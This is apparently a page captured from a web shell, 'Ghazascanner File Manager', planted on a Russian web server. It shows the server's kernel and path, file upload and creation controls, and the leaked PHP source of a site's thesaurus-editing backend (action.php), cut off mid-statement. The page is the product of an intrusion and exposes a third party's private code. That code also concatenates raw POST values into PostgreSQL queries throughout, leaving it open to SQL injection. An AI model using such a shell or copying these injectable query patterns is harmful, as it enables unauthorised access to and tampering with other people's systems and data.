@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux www.thesweb.ru 4.19.0-22-amd64 #1 SMP Debian 4.19.260-1 (2022-09-29) x86_64
Current Path :
/
var
/
www
/
www-root
/
data
/
www
/
new.labinform.ru
/
ipw_thes
/
json
/
Path :
Upload File :
New :
File
Dir
/var/www/www-root/data/www/new.labinform.ru/ipw_thes/json/action.php
<?PHP header('Content-type: application/json; charset=utf-8'); //include_once "../config.php"; include_once "../login.php"; if ($usr_id == -1) { //header('HTTP/1.0 401 Unauthorized'); //die(); die('{"message": "noauth", "error": "Не авторизовано!", "total": 0, "rows": []}'); } //if (!(isset($ssid))) // die('{"message": "noauth", "error": "Не авторизовано!"}'); /*function transrel($rel) { if ($rel == '10') return '30'; else if ($rel == '20') return '40'; else if ($rel == '30') return '10'; else if ($rel == '40') return '20'; else if ($rel == '50') return '50'; else if ($rel == '33') return '67'; else if ($rel == '67') return '33'; else return 'xx'; } */ $data = array(); $data['error'] = ''; $data['inpost'] = $_POST; $data['error_id'] = '0'; $action = ''; if (isset($_POST['action'])) $action = $_POST['action']; else if (isset($_GET['action'])) $action = $_GET['action']; if (($_SESSION[LoginURI]['usertypeid'] == 30) && ($action != "gettreeconc")) { die('{"message": "noauth", "error": "Не авторизовано!", "total": 0, "rows": []}'); } /*********** UPDATE SESSION ************/ $q = 'UPDATE session SET dateend = current_date, timeend = current_time WHERE sessionid = ' . $ssid; $res = pg_query ($conn, $q); pg_free_result ($res); if (!isset($_POST)) $_POST = array(); $pp = var_export($_POST, true); $pp = str_replace("'", "''", $pp); if (mb_strlen($pp) > 7999) $pp = mb_substr($pp, 0, 7999); $q = "INSERT INTO user_req_log(userid, sessionid, dt, act, url, post) VALUES ($usr_id, $ssid, CURRENT_TIMESTAMP, 'action.php', '" . str_replace("'", "''", $_SERVER['REQUEST_URI']) . "', '" . $pp . "')"; $res = pg_query ($conn, $q); pg_free_result ($res); /*********** CONCEPTS ************/ if ($action == "concept_add") { $concid = -1; $q = 'SELECT conceptid FROM concepts WHERE conceptstr = ' . sstr(trim($_POST['conceptstr'])) . ''; $res = pg_query ($conn, $q); if ($row = pg_fetch_array($res)) $concid = $row['conceptid']; pg_free_result ($res); if ($concid == -1) { $q = "SELECT nextval('sequence_concepts') AS val"; $concid = get_data_one_val($conn, $q); $data['q0'] = $q; $data['r0'] = $concid; $q = "UPDATE sequence SET valueid = " . $concid . " WHERE fieldstr = 'MaxUnusedConceptId';"; $data['q00'] = $q; $res = pg_query ($conn, $q); pg_free_result ($res); if ($concid > -1) { $isarg = '0'; if ($_POST['isarguable'] == 'true') $isarg = '1'; $isabs = '0'; if ($_POST['isabstract'] == 'true') $isabs = '1'; $q = 'INSERT INTO concepts(conceptid, conceptstr, conceptengstr, sessionid, sessionident, isabstract, shortcomments, domainmask, isarguable)' . 'VALUES (' . $concid . ',' . sstr(trim($_POST['conceptstr'])) . ',' . sstr(trim($_POST['conceptengstr'])) . ', '.$ssid.','.$ssid.',\'' . $isabs . '\',' . sstr(trim($_POST['conceptcomment'])) . ',' . $_POST['domainmask'] . ',\'' . $isarg . '\')'; $data['q1'] = $q; $res = pg_query ($conn, $q); pg_free_result ($res); for ($i = 0; $i < $_POST['relcount']; $i++) { $cutstr = ''; $isarg = '0'; if ($_POST['rel_isarguable'][$i] == 'true') $isarg = '1'; /*$asp2 = $_POST['rel_aspect'][$i]; if ($_POST['rel_relationid'][$i] == '50') { if ($asp2 == '2') $asp2 = '1'; else if ($asp2 == '1') $asp2 = '2'; }*/ $transrel = get_trans_rel_data($conn, $_POST['rel_relationid'][$i], $_POST['rel_aspect'][$i]); $q = 'INSERT INTO relats(concept1id, concept2id, relationid, sessionid, sessionident, aspect, concept2cutstr, isarguable)' . 'VALUES (' . $concid . ',' . $_POST['rel_conceptid'][$i] . ',' . $_POST['rel_relationid'][$i] . ','.$ssid.','.$ssid.',\'' . $_POST['rel_aspect'][$i] . '\',\'' . $cutstr . '\',\'' . $isarg . '\')' . ', (' . $_POST['rel_conceptid'][$i] . ',' . $concid . ',' . $transrel['relationid'] . ','.$ssid.','.$ssid.',\'' . $transrel['aspect'] . '\',\'' . $cutstr . '\',\'' . $isarg . '\')'; //echo($q); $data['q2'] = $q; $res = pg_query ($conn, $q); pg_free_result ($res); } if (isset($_POST['delrelconcept1id']) && isset($_POST['delrelconcept2id']) && ($_POST['delrelconcept1id'] != '') && ($_POST['delrelconcept2id'] != '') ) { $q = 'DELETE FROM relats WHERE concept1id = ' . $_POST['delrelconcept1id'] . ' AND concept2id = ' . $_POST['delrelconcept2id']; $res = pg_query ($conn, $q); pg_free_result ($res); $q = 'DELETE FROM relats WHERE concept2id = ' . $_POST['delrelconcept1id'] . ' AND concept1id = ' . $_POST['delrelconcept2id']; $res = pg_query ($conn, $q); pg_free_result ($res); } $data['message'] = 'Концепт и его отношения добавлены!'; $data['conceptid'] = $concid; $data['domainmask'] = $_POST['domainmask']; $data['conceptstr'] = $_POST['conceptstr']; } else { $data['error'] = 'Error get MaxUnusedConceptId'; $data['error_id'] = '100'; } } else { $data['error'] = 'Концепт с таким именем уже существует! (Id = ' . $concid . ")"; $data['error_id'] = '100'; } } else if ($action == "concept_edit") { $concid = -1; $conceptid = $_POST['conceptid']; $q = 'SELECT conceptid FROM concepts WHERE conceptstr = ' . sstr(trim($_POST['conceptstr'])) . ' AND conceptid != ' . $conceptid; //data['q0'] = $q; $res = pg_query ($conn, $q); if ($row = pg_fetch_array($res)) $concid = $row['conceptid']; pg_free_result ($res); if (($concid == -1) || ($concid == $conceptid)) { if (true) { $isarg = '0'; if ($_POST['isarguable'] == 'true') $isarg = '1'; $isabs = '0'; if ($_POST['isabstract'] == 'true') $isabs = '1'; $q = "UPDATE concepts SET conceptstr = " . sstr(trim($_POST['conceptstr'])) . ", conceptengstr = " . sstr(trim($_POST['conceptengstr'])) . ", sessionid = $ssid, isabstract = '$isabs', shortcomments = " . sstr(trim($_POST['conceptcomment'])) . ", domainmask = " . $_POST['domainmask'] . ", isarguable = '$isarg' " . "WHERE conceptid = $conceptid"; //$data['debug'] = $q; $res = pg_query ($conn, $q); pg_free_result ($res); /*$q = "DELETE FROM relats WHERE concept1id = $conceptid OR concept2id = $conceptid"; //echo($q); $res = pg_query ($conn, $q); pg_free_result ($res); for ($i = 0; $i < $_POST['relcount']; $i++) { $cutstr = ''; $isarg = '0'; if (($_POST['rel_isarguable'][$i] == 'true') || ($_POST['rel_isarguable'][$i] == '1')) $isarg = '1'; $q = 'INSERT INTO relats(concept1id, concept2id, relationid, sessionid, sessionident, aspect, concept2cutstr, isarguable)' . 'VALUES (' . $conceptid . ',' . $_POST['rel_conceptid'][$i] . ',' . $_POST['rel_relationid'][$i] . ','.$ssid.','.$ssid.',\'' . $_POST['rel_aspect'][$i] . '\',\'' . $cutstr . '\',\'' . $isarg . '\')' . ', (' . $_POST['rel_conceptid'][$i] . ',' . $conceptid . ',' . transrel($_POST['rel_relationid'][$i]) . ','.$ssid.','.$ssid.',\'' . $_POST['rel_aspect'][$i] . '\',\'' . $cutstr . '\',\'' . $isarg . '\')'; //echo($q); $res = pg_query ($conn, $q); pg_free_result ($res); }*/ $data['message'] = 'Концепт изменен!'; } else { $data['error'] = 'Error get MaxUnusedConceptId'; $data['error_id'] = '100'; } } else { $data['error'] = 'Концепт с таким именем уже существует! (Id = ' . $concid . ")"; $data['error_id'] = '100'; } } else if ($action == "concept_del") { $q = 'DELETE FROM relats WHERE concept1id = '. $_POST['conceptid'] . ' OR concept2id = '. $_POST['conceptid']; $res = pg_query ($conn, $q); pg_free_result ($res); $q = 'DELETE FROM synonyms WHERE conceptid = '. $_POST['conceptid']; $res = pg_query ($conn, $q); pg_free_result ($res); $q = 'DELETE FROM e_synons WHERE conceptid = '. $_POST['conceptid']; $res = pg_query ($conn, $q); pg_free_result ($res); $q = 'DELETE FROM concepts WHERE conceptid = '. $_POST['conceptid']; $res = pg_query ($conn, $q); pg_free_result ($res); $data['message'] = 'Концепт удален!'; /*********** RELATS ************/ } else if ($action == "relation_add") { $cutstr = ''; $cstr = ''; $q = 'SELECT conceptstr FROM concepts WHERE conceptid = ' . $_POST['concept2id']; $res = pg_query ($conn, $q); if ($row = pg_fetch_array($res)) { $cstr = $row[0]; $cutstr = mb_substr($row[0], 0, 2, "UTF-8"); } pg_free_result ($res); $rel1 = $_POST['relationid']; $currrels = get_data_array($conn, "SELECT r.relationid, n.relationstr, r.aspect FROM relats r JOIN relnames n ON n.relationid=r.relationid WHERE r.concept1id = " . $_POST['concept1id'] . " AND r.concept2id = " . $_POST['concept2id'] . " AND ((r.relationid = " . $rel1 . ") OR ((r.relationid = 33) AND (" . $rel1 . " = 67)) OR ((r.relationid = 67) AND (" . $rel1 . " = 33)) OR ((" . $rel1 . " != 33) AND (" . $rel1 . " != 67) AND (r.relationid != 33) AND (r.relationid != 67)))"); if (count($currrels) > 0) { $data['error'] = 'Отношение с концептом "' . $cstr .'" уже существует! Тип отношения: ' . $currrels[0]['relationstr'] . ($currrels[0]['aspect'] ? "-" . $currrels[0]['aspect'] : ""); } else if ($_POST['concept2id'] == $_POST['concept1id']) { $data['error'] = 'Отношение концепта с самим собой не может быть введено!'; } else { $isarg = '0'; if ($_POST['isarguable'] == 'true') $isarg = '1'; /*$asp2 = $_POST['aspect']; if ($_POST['relationid'] == '50') { if ($asp2 == '2') $asp2 = '1'; else if ($asp2 == '1') $asp2 = '2'; } */ $transrel = get_trans_rel_data($conn, $_POST['relationid'], $_POST['aspect']); $q = 'INSERT INTO relats(concept1id, concept2id, relationid, sessionid, sessionident, aspect, concept2cutstr, isarguable)' . 'VALUES (' . $_POST['concept1id'] . ',' . $_POST['concept2id'] . ',' . $_POST['relationid'] . ','.$ssid.','.$ssid.',\'' . $_POST['aspect'] . '\',\'' . $cutstr . '\',\'' . $isarg . '\')' . ', (' . $_POST['concept2id'] . ',' . $_POST['concept1id'] . ',' . $transrel['relationid'] . ','.$ssid.','.$ssid.',\'' . $transrel['aspect'] . '\',\'' . $cutstr . '\',\'' . $isarg . '\')'; //echo($q); $res = pg_query ($conn, $q); //"action":"relation_add","concept1id":"206638","concept2id":"161633","relationid":"10","aspect":"","isarguable":"false" pg_free_result ($res); $data['message'] = 'Отношение добавлено!'; } } else if ($action == "relation_edit") { $cutstr = ''; $q = 'SELECT conceptstr FROM concepts WHERE conceptid = ' . $_POST['concept2id']; $res = pg_query ($conn, $q); //if ($row = pg_fetch_array($res)) // $cutstr = mb_substr($res[0], 0, 2, "UTF-8"); pg_free_result ($res); $oldrelid = $_POST['oldrelationid']; $rel1 = $_POST['relationid']; $cstr = ''; $q = 'SELECT conceptstr FROM concepts WHERE conceptid = ' . $_POST['concept2id']; $res = pg_query ($conn, $q); if ($row = pg_fetch_array($res)) { $cstr = $row[0]; //$cutstr = mb_substr($row[0], 0, 2, "UTF-8"); } pg_free_result ($res); /*if (isset($_POST['del_exist_rel']) && $_POST['del_exist_rel']) { $q = 'DELETE FROM relats WHERE ((concept1id = ' . $_POST['concept1id'] . ' AND concept2id = ' . $_POST['concept2id'] . ') OR (concept2id = ' . $_POST['concept1id'] . ' AND concept1id = ' . $_POST['concept2id'] . ')) AND relationid in (10,20,30,40,50)'; //echo $q; $res = pg_query ($conn, $q); pg_free_result ($res); }*/ $currrels = array(); if ($_POST['oldconcept2id'] != $_POST['concept2id']) $currrels = get_data_array($conn, "SELECT r.relationid, n.relationstr, r.aspect FROM relats r JOIN relnames n ON n.relationid=r.relationid WHERE r.concept1id = " . $_POST['concept1id'] . " AND r.concept2id = " . $_POST['concept2id'] . " AND ((r.relationid = " . $rel1 . ") OR ((r.relationid = 33) AND (" . $rel1 . " = 67)) OR ((r.relationid = 67) AND (" . $rel1 . " = 33)) OR ((" . $rel1 . " != 33) AND (" . $rel1 . " != 67) AND (r.relationid != 33) AND (r.relationid != 67)))"); if (($_POST['oldconcept2id'] == $_POST['concept2id']) && ($oldrelid != $rel1)) $currrels = get_data_array($conn, "SELECT r.relationid, n.relationstr, r.aspect FROM relats r JOIN relnames n ON n.relationid=r.relationid WHERE r.concept1id = " . $_POST['concept1id'] . " AND r.concept2id = " . $_POST['concept2id'] . " AND r.relationid = " . $oldrelid . " AND (((r.relationid IN (10,20,30,40,50)) AND (" . $rel1 . " IN (33, 67))) OR ((r.relationid IN (33,67)) AND (" . $rel1 . " IN (10,20,30,40,50))))"); if (count($currrels) > 0) { $data['error'] = 'Отношение с концептом "' . $cstr .'" уже существует! Тип отношения: ' . $currrels[0]['relationstr'] . ($currrels[0]['aspect'] ? "-" . $currrels[0]['aspect'] : ""); } else if ($_POST['concept2id'] == $_POST['concept1id']) { $data['error'] = 'Отношение концепта с самим собой не может быть введено!'; } else { $isarg = '0'; if ($_POST['isarguable'] == 'true') $isarg = '1'; $q = "UPDATE relats SET relationid = " . $_POST['relationid'] . ", sessionid = $ssid, aspect = '" . $_POST['aspect'] . "', concept2cutstr = '$cutstr', isarguable = '$isarg'" . ', concept2id = ' . $_POST['concept2id'] . ' WHERE concept1id = ' . $_POST['concept1id'] . ' AND concept2id = ' . $_POST['oldconcept2id'] . ' AND relationid = ' . $oldrelid; $res = pg_query ($conn, $q); pg_free_result ($res); /*$asp2 = $_POST['aspect']; if ($_POST['relationid'] == '50') { if ($asp2 == '2') $asp2 = '1'; else if ($asp2 == '1') $asp2 = '2'; } */ $transrel = get_trans_rel_data($conn, $_POST['relationid'], $_POST['aspect']); $oldtransrel = get_trans_rel_data($conn, $oldrelid, ""); $q = "UPDATE relats SET relationid = " . $transrel['relationid'] . ", sessionid = $ssid, aspect = '" . $transrel['aspect'] . "', concept2cutstr = '$cutstr', isarguable = '$isarg'" . ', concept1id = ' . $_POST['concept2id'] . ' WHERE concept1id = ' . $_POST['oldconcept2id'] . ' AND concept2id = ' . $_POST['concept1id'] . ' AND relationid = ' . $oldtransrel['relationid']; $res = pg_query ($conn, $q); pg_free_result ($res); $data['message'] = 'Отношение изменено!'; } } else if ($action == "relation_del") { $relauto = 0; if (isset($_POST['auto'])) $relauto = $_POST['auto']; if ($_POST['relationid'] == 'any') { $q = 'DELETE FROM relats WHERE (concept1id = '. $_POST['concept1id'] . ' AND concept2id = ' . $_POST['concept2id'] . ' AND relationid in (10,20,30,40,50)) OR (concept2id = '. $_POST['concept1id'] . ' AND concept1id = ' . $_POST['concept2id'] . ' AND relationid in (10,20,30,40,50))'; $res = pg_query ($conn, $q); pg_free_result ($res); } else { $transrel = get_trans_rel_data($conn, $_POST['relationid'], ''); if (($relauto === 1) || ($relauto === '1')) $q = 'UPDATE relats SET auto = 2 WHERE (concept1id = '. $_POST['concept1id'] . ' AND concept2id = ' . $_POST['concept2id'] . ' AND relationid = ' . $_POST['relationid'] . ') OR (concept2id = '. $_POST['concept1id'] . ' AND concept1id = ' . $_POST['concept2id'] . ' AND relationid = ' . $transrel['relationid'] . ')'; else $q = 'DELETE FROM relats WHERE (concept1id = '. $_POST['concept1id'] . ' AND concept2id = ' . $_POST['concept2id'] . ' AND relationid = ' . $_POST['relationid'] . ') OR (concept2id = '. $_POST['concept1id'] . ' AND concept1id = ' . $_POST['concept2id'] . ' AND relationid = ' . $transrel['relationid'] . ')'; //echo($q); $res = pg_query ($conn, $q); pg_free_result ($res); } if (($relauto === 1) || ($relauto === '1')) $data['message'] = 'Отношение перемещено в отрицательные для Автоматичческой обработки!'; else $data['message'] = 'Отношение удалено!'; } else if ($action == "concept_ruseng_rename") { $langid = '10'; if (isset($_POST['langid'])) $langid = $_POST['langid']; if (isset($_SESSION[LoginURI]['version']) && ($_SESSION[LoginURI]['version'] >=20220819)) { if (($langid == '10') || ($langid == '20')) $q = "UPDATE concepts SET " . ($langid == '10' ? "ConceptStr" : "ConceptEngStr") . " = " . sstr($_POST['newconceptstr']) . ", sessionid = $ssid " . " WHERE ConceptId = " . $_POST['conceptid']; else $q = "INSERT INTO concepts_translate(conceptid, languageid, translatestr, sessionid, sessionident) VALUES (" . $_POST['conceptid'] . ', ' . $langid . ',' . sstr($_POST['newconceptstr']) . ", $ssid, $ssid) ON CONFLICT (conceptid, languageid) DO UPDATE SET translatestr = " . sstr($_POST['newconceptstr']) . ', sessionid = ' . $ssid; //$q =// "DELETE FROM concepts_translate WHERE ConceptId = " . $_POST['conceptid'] . ' AND languageid = ' . $langid . '; ' . //" INSERT INTO concepts_translate(conceptid, languageid, translatestr, sessionid, sessionident) VALUES (" $_POST['conceptid'] . ', ' . ',' . sstr($_POST['newconceptstr']) . ", $ssid, $ssid)"; //" WHERE ConceptId = " . $_POST['conceptid']; } else $q = "UPDATE concepts SET " . ($langid == '20' ? "ConceptEngStr" : "ConceptStr") . " = " . sstr($_POST['newconceptstr']) . ", sessionid = $ssid " . " WHERE ConceptId = " . $_POST['conceptid']; $res = pg_query($conn, $q); pg_free_result($res); $data['message'] = ($langid == '10' ? "Концепт переименован" : "Английский эквивалент переименован") . '!'; } else if ($action == "synonym_move") { $langid = '10'; if (isset($_POST['langid'])) $langid = $_POST['langid']; $q = "UPDATE " . ($langid == '20' ? "e_synons" : "synonyms") . " SET ConceptId = " . $_POST['newconceptid'] . ", sessionid = $ssid " . " WHERE textentryid = " . $_POST['textentryid'] . " AND ConceptId = " . $_POST['oldconceptid']; $res = pg_query($conn, $q); pg_free_result($res); $data['message'] = 'Синоним перенесен!'; } else if ($action == "union_concepts") { if ($_POST['mainconceptid'] == $_POST['delconceptid']) die('error!!! union conc1=conc2!!!'); $c2 = get_data_one_val($conn, "SELECT count(1) as val FROM concepts WHERE conceptid = " . $_POST['delconceptid']); if (!$c2) die('error!!! conc2 not exists!!!'); $c2 = get_data_one_val($conn, "SELECT count(1) as val FROM concepts WHERE conceptid = " . $_POST['mainconceptid']); if (!$c2) die('error!!! conc1 not exists!!!'); $q = 'BEGIN; INSERT INTO relats(concept1id, concept2id, relationid, sessionid, sessionident, aspect, concept2cutstr, isarguable) ' . " SELECT " . $_POST['mainconceptid'] . ", concept2id, relationid, $ssid, $ssid, aspect, concept2cutstr, isarguable " . " FROM relats r WHERE concept1id = " . $_POST['delconceptid'] . " AND concept2id <> " . $_POST['mainconceptid'] . " AND NOT EXISTS(SELECT 1 FROM relats r2 WHERE r2.concept1id = " . $_POST['mainconceptid'] . " AND r2.concept2id = r.concept2id); INSERT INTO relats(concept2id, concept1id, relationid, sessionid, sessionident, aspect, concept2cutstr, isarguable)" . " SELECT " . $_POST['mainconceptid'] . ", concept1id, relationid, $ssid, $ssid, aspect, concept2cutstr, isarguable " . " FROM relats r WHERE concept2id = " . $_POST['delconceptid'] . " AND concept1id <> " . $_POST['mainconceptid'] . " AND NOT EXISTS(SELECT 1 FROM relats r2 WHERE r2.concept2id = " . $_POST['mainconceptid'] . " AND r2.concept1id = r.concept1id); INSERT INTO synonyms(conceptid, textentryid, textentrycutstr, sessionident, sessionid, domainmask, isarguable)" . " SELECT " . $_POST['mainconceptid'] . ", textentryid, textentrycutstr, $ssid, $ssid, domainmask, isarguable " . " FROM synonyms r WHERE conceptid = " . $_POST['delconceptid'] . " AND NOT EXISTS(SELECT 1 FROM synonyms r2 WHERE r2.conceptid = " . $_POST['mainconceptid'] . " AND r2.textentryid = r.textentryid); INSERT INTO e_synons(conceptid, textentryid, textentrycutstr, sessionident, sessionid, domainmask, isarguable)" . " SELECT " . $_POST['mainconceptid'] . ", textentryid, textentrycutstr, $ssid, $ssid, domainmask, isarguable " . " FROM e_synons r WHERE conceptid = " . $_POST['delconceptid'] . " AND NOT EXISTS(SELECT 1 FROM e_synons r2 WHERE r2.conceptid = " . $_POST['mainconceptid'] . " AND r2.textentryid = r.textentryid); DELETE FROM relats WHERE concept1id = ". $_POST['delconceptid'] . ' OR concept2id = '. $_POST['delconceptid'] . "; DELETE FROM synonyms WHERE conceptid = ". $_POST['delconceptid'] . "; DELETE FROM e_synons WHERE conceptid = " . $_POST['delconceptid'] . "; DELETE FROM concepts WHERE conceptid = ". $_POST['delconceptid'] . "; COMMIT; "; $res = pg_query ($conn, $q); pg_free_result ($res); /*$q = 'INSERT INTO relats(concept1id, concept2id, relationid, sessionid, sessionident, aspect, concept2cutstr, isarguable) ' . " SELECT " . $_POST['mainconceptid'] . ", concept2id, relationid, $ssid, $ssid, aspect, concept2cutstr, isarguable " . " FROM relats r WHERE concept1id = " . $_POST['delconceptid'] . " AND concept2id <> " . $_POST['mainconceptid'] . " AND NOT EXISTS(SELECT 1 FROM relats r2 WHERE r2.concept1id = " . $_POST['mainconceptid'] . " AND r2.concept2id = r.concept2id)"; //echo $q; $res = pg_query ($conn, $q); pg_free_result ($res); $q = 'INSERT INTO relats(concept2id, concept1id, relationid, sessionid, sessionident, aspect, concept2cutstr, isarguable)' . " SELECT " . $_POST['mainconceptid'] . ", concept1id, relationid, $ssid, $ssid, aspect, concept2cutstr, isarguable " . " FROM relats r WHERE concept2id = " . $_POST['delconceptid'] . " AND concept1id <> " . $_POST['mainconceptid'] . " AND NOT EXISTS(SELECT 1 FROM relats r2 WHERE r2.concept2id = " . $_POST['mainconceptid'] . " AND r2.concept1id = r.concept1id)"; $res = pg_query ($conn, $q); pg_free_result ($res); $q = "INSERT INTO synonyms(conceptid, textentryid, textentrycutstr, sessionident, sessionid, domainmask, isarguable)" . " SELECT " . $_POST['mainconceptid'] . ", textentryid, textentrycutstr, $ssid, $ssid, domainmask, isarguable " . " FROM synonyms r WHERE conceptid = " . $_POST['delconceptid'] . " AND NOT EXISTS(SELECT 1 FROM synonyms r2 WHERE r2.conceptid = " . $_POST['mainconceptid'] . " AND r2.textentryid = r.textentryid)"; $res = pg_query ($conn, $q); pg_free_result ($res); $q = "INSERT INTO e_synons(conceptid, textentryid, textentrycutstr, sessionident, sessionid, domainmask, isarguable)" . " SELECT " . $_POST['mainconceptid'] . ", textentryid, textentrycutstr, $ssid, $ssid, domainmask, isarguable " . " FROM e_synons r WHERE conceptid = " . $_POST['delconceptid'] . " AND NOT EXISTS(SELECT 1 FROM e_synons r2 WHERE r2.conceptid = " . $_POST['mainconceptid'] . " AND r2.textentryid = r.textentryid)"; $res = pg_query ($conn, $q); pg_free_result ($res); $q = 'DELETE FROM relats WHERE concept1id = '. $_POST['delconceptid'] . ' OR concept2id = '. $_POST['delconceptid']; $res = pg_query ($conn, $q); pg_free_result ($res); $q = 'DELETE FROM synonyms WHERE conceptid = '. $_POST['delconceptid']; $res = pg_query ($conn, $q); pg_free_result ($res); $q = 'DELETE FROM e_synons WHERE conceptid = '. $_POST['delconceptid']; $res = pg_query ($conn, $q); pg_free_result ($res); $q = 'DELETE FROM concepts WHERE conceptid = '. $_POST['delconceptid']; $res = pg_query ($conn, $q); pg_free_result ($res); */ //$_POST['mainconceptid']; //$_POST['delconceptid']; $data['message'] = 'Концепты объеденены!'; /********** SYNONYMS ***********/ } else if ($action == "synonym_del") { $langid = '10'; if (isset($_POST['langid'])) $langid = $_POST['langid']; if ($langid == '20') $q = 'DELETE FROM e_synons WHERE conceptid = '. $_POST['conceptid'] . ' AND textentryid = ' . $_POST['textentryid']; else $q = 'DELETE FROM synonyms WHERE conceptid = '. $_POST['conceptid'] . ' AND textentryid = ' . $_POST['textentryid']; $res = pg_query ($conn, $q); pg_free_result ($res); $data['message'] = 'Синоним удален!'; } else if ($action == "synonym_add") { $langid = '10'; if (isset($_POST['langid'])) $langid = $_POST['langid']; $te_lang = $langid; if (isset($_POST['te_lang'])) $te_lang = $_POST['te_lang']; $te_id = -1; $testr = $_POST['textentrystr']; if ((!isset($_POST['textentryid'])) || ($_POST['textentryid'] == '')) { $c2 = get_data_one_val($conn, 'SELECT count(1) as val FROM ' . ($te_lang == '20' ? "e_texent" : "textentr") . " WHERE textentrystr = '$testr'"); if ($c2 == 0) { $lestr = $_POST['lementrystr']; $te_isarguable = '0'; $status = 0; if ($_POST['te_isarguable'] == 'true') $te_isarguable = '1'; $te_isambig = '0'; if ($_POST['te_isambig'] == 'true') $te_isambig = '1'; if ($langid . '' == '20') { $te_id = get_data_one_val($conn, "SELECT nextval('sequence_e_texent')"); $q = "UPDATE sequence SET valueid = " . $te_id . " WHERE fieldstr = 'MaxUnusedE_TextEntryId'"; } else { $te_id = get_data_one_val($conn, "SELECT nextval('sequence_textentr')"); $q = "UPDATE sequence SET valueid = " . $te_id . " WHERE fieldstr = 'MaxUnusedTextEntryId'"; } $res = pg_query($conn, $q); pg_free_result ($res); if ($te_id == -1) { $data['error'] = 'Ошибка дабавления текстового входа! Не удалось получить уникальный ключ для TextEntryId!'; } else { $q = "INSERT INTO " . ($te_lang == '20' ? "e_texent" : "textentr") . "(textentryid, textentrystr, languageid, lementrystr, sessionident, sessionid, isambig, status, isarguable)" . "VALUES ($te_id, '$testr', $te_lang, '$lestr', $ssid, $ssid, '$te_isambig', '$status', '$te_isarguable')"; $res = pg_query ($conn, $q); pg_free_result ($res); for ($i = 0; $i < $_POST['lemcount']; $i++) { $isbend = '0'; if ($_POST['isbend'][$i] == 'true') $isbend = '1'; $q = "INSERT INTO " . ($te_lang == '20' ? "e_lemmas" : "lemmas") . "(textentryid, lemmapos, lemmastr, isambig, isbend)" . "VALUES ($te_id, " . $_POST['lemmapos'][$i] . ", '" . $_POST['lemmastr'][$i] . "', '$te_isambig', '$isbend')"; $res = pg_query ($conn, $q); pg_free_result ($res); } } } else { $te_id = get_data_one_val($conn, 'SELECT textentryid as val FROM ' . ($te_lang == '20' ? "e_texent" : "textentr") . " WHERE textentrystr = '$testr'"); } } else { $te_id = $_POST['textentryid']; } $tecutstr = $testr; if (mb_strlen($tecutstr, "UTF-8") > 30) $tecutstr = mb_substr($tecutstr, 0, 30, "UTF-8"); $domaimmask = $_POST['domainmask']; $isarguable = '0'; if ($_POST['isarguable'] == 'true') $isarguable = '1'; $noemptry = get_data_one_val($conn, 'SELECT count(1) as val FROM ' . ($te_lang == '20' ? "e_synons" : "synonyms") . " WHERE textentryid = '$te_id' AND conceptid = 0"); if ($te_lang == '20') $q = "INSERT INTO e_synons(conceptid, textentryid, textentrycutstr, sessionident, sessionid, domainmask, isarguable)" . "VALUES ('" . $_POST['conceptid'] . "', " . $te_id . ", '$tecutstr', $ssid, $ssid, $domaimmask, '$isarguable')"; else $q = "INSERT INTO synonyms(conceptid, textentryid, textentrycutstr, sessionident, sessionid, domainmask, isarguable)" . "VALUES ('" . $_POST['conceptid'] . "', " . $te_id . ", '$tecutstr', $ssid, $ssid, $domaimmask, '$isarguable')"; $res = pg_query ($conn, $q); pg_free_result ($res); if ($noemptry == 0) { $q = 'DELETE FROM ' . ($te_lang == '20' ? "e_synons" : "synonyms") . " WHERE textentryid = '$te_id' AND conceptid = 0"; $res = pg_query ($conn, $q); pg_free_result ($res); } $data['message'] = "Синоним добавлен!(te_id=$te_id)"; } else if ($action == "textentry_edit") { $langid = '10'; if (isset($_POST['langid'])) $langid = $_POST['langid']; $te_lang = $langid; if (isset($_POST['te_lang'])) $te_lang = $_POST['te_lang']; $te_id = $_POST['textentryid']; $testr = $_POST['textentrystr']; $lestr = $_POST['lementrystr']; $c1 = get_data_one_val($conn, 'SELECT count(1) as val FROM ' . ($te_lang == '20' ? "e_texent" : "textentr") . " WHERE textentryid = $te_id"); $c2 = get_data_one_val($conn, 'SELECT count(1) as val FROM ' . ($te_lang == '20' ? "e_texent" : "textentr") . " WHERE textentrystr = '$testr' AND textentryid != $te_id"); if ($c1 == 0) { $data['message'] = "Не найден текстовый вход с таким ID!(te_id=$te_id)"; } else if ($c2 > 0) { $data['error'] = "Текстовый вход с таким названием уже существует!(te_id=$te_id)"; } else { $te_isarguable = '0'; $status = 0; if ($_POST['te_isarguable'] == 'true') $te_isarguable = '1'; $te_isambig = '0'; if ($_POST['te_isambig'] == 'true') $te_isambig = '1'; $q = "UPDATE " . ($te_lang == '20' ? "e_texent" : "textentr") . " SET textentrystr = '$testr', languageid = $te_lang, lementrystr = '$lestr', sessionid = $ssid, isambig = '$te_isambig', isarguable = '$te_isarguable' " . " WHERE textentryid =$te_id"; $res = pg_query($conn, $q); pg_free_result($res); $tecutstr = $testr; if (mb_strlen($tecutstr, "UTF-8") > 30) $tecutstr = mb_substr($tecutstr, 0, 30, "UTF-8"); $q = "UPDATE synonyms " . ($te_lang == '20' ? "e_synons" : "synonyms") . " SET textentrycutstr = '$tecutstr' " . " WHERE textentryid =$te_id"; $res = pg_query($conn, $q); pg_free_result($res); $q = "DELETE FROM " . ($te_lang == '20' ? "e_lemmas" : "lemmas") . " WHERE textentryid =$te_id"; $res = pg_query($conn, $q); pg_free_result($res); for ($i = 0; $i < $_POST['lemcount']; $i++) { $isbend = '0'; if ($_POST['isbend'][$i] == 'true') $isbend = '1'; $q = "INSERT INTO " . ($te_lang == '20' ? "e_lemmas" : "lemmas") . "(textentryid, lemmapos, lemmastr, isambig, isbend)" . "VALUES ($te_id, " . $_POST['lemmapos'][$i] . ", '" . $_POST['lemmastr'][$i] . "', '$te_isambig', '$isbend')"; $res = pg_query($conn, $q); pg_free_result($res); } $data['message'] = "Текстовый вход изменен!(te_id=$te_id)"; } } else if ($action == "cluster_del") { $langid = '10'; if (isset($_POST['langid'])) $langid = $_POST['langid']; $q = 'DELETE FROM cluster2concept WHERE conceptid = '. $_POST['conceptid'] . ' AND clusterid = ' . $_POST['clusterid']; $res = pg_query ($conn, $q); pg_free_result ($res); $data['message'] = 'Сюжет концепта удален!'; } else if ($action == "cluster_add") { $langid = '10'; if (isset($_POST['langid'])) $langid = $_POST['langid']; $te_id = -1; $testr = $_POST['clusterstr']; $reqstr = $_POST['reqstr']; $dt = $_POST['dt']; $shortcomments = $_POST['shortcomments']; if ((!isset($_POST['clusterid'])) || ($_POST['clusterid'] == '')) { $c2 = get_data_one_val($conn, 